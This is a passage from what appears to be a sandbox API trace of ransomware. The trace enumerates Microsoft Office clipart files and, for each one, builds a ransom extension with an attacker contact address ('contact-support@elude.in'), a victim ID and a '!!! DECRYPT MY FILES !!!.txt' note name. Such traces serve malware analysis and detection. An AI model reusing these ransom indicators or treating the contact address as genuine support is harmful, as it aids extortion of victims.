ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0131.757] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 1 [0131.757] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif") returned 0x44 [0131.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.757] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.757] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.758] GetProcessHeap () returned 0x630000 [0131.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x80) returned 0x66a3e0 [0131.758] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0131.758] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 1 [0131.758] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif") returned 0x44 [0131.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.758] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.758] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.758] GetProcessHeap () returned 0x630000 [0131.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x84) returned 0x66a3e0 [0131.758] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0131.759] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 1 [0131.759] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif") returned 0x44 [0131.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.759] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.759] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.759] GetProcessHeap () returned 0x630000 [0131.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x88) returned 0x66a3e0 [0131.759] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0131.759] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 1 [0131.759] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif") returned 0x44 [0131.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.760] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.760] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.760] GetProcessHeap () returned 0x630000 [0131.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x8c) returned 0x66a3e0 [0131.760] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0131.760] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 1 [0131.760] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif") returned 0x44 [0131.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.760] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.760] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.760] GetProcessHeap () returned 0x630000 [0131.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x90) returned 0x66a3e0 [0131.760] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0131.761] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 1 [0131.761] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif") returned 0x44 [0131.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.761] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.761] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.761] GetProcessHeap () returned 0x630000 [0131.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x94) returned 0x66a3e0 [0131.761] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0131.765] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 1 [0131.765] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif") returned 0x44 [0131.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.765] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.765] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.765] GetProcessHeap () returned 0x630000 [0131.765] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x90) returned 0x66a3e0 [0131.765] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0131.765] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 1 [0131.766] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf") returned 0x44 [0131.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.766] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.766] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.766] GetProcessHeap () returned 0x630000 [0131.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x94) returned 0x66a3e0 [0131.766] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0131.766] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 1 [0131.766] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf") returned 0x44 [0131.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.766] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.766] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.767] GetProcessHeap () returned 0x630000 [0131.767] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x98) returned 0x66a3e0 [0131.767] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0131.767] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 1 [0131.767] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf") returned 0x44 [0131.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.767] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.767] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.767] GetProcessHeap () returned 0x630000 [0131.767] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x9c) returned 0x66a3e0 [0131.767] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0131.768] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 1 [0131.768] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf") returned 0x44 [0131.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.768] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.768] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.768] GetProcessHeap () returned 0x630000 [0131.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xa0) returned 0x66a3e0 [0131.768] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0131.768] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 1 [0131.768] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf") returned 0x44 [0131.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.769] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.769] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.769] GetProcessHeap () returned 0x630000 [0131.769] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xa4) returned 0x66a3e0 [0131.769] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0131.769] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft 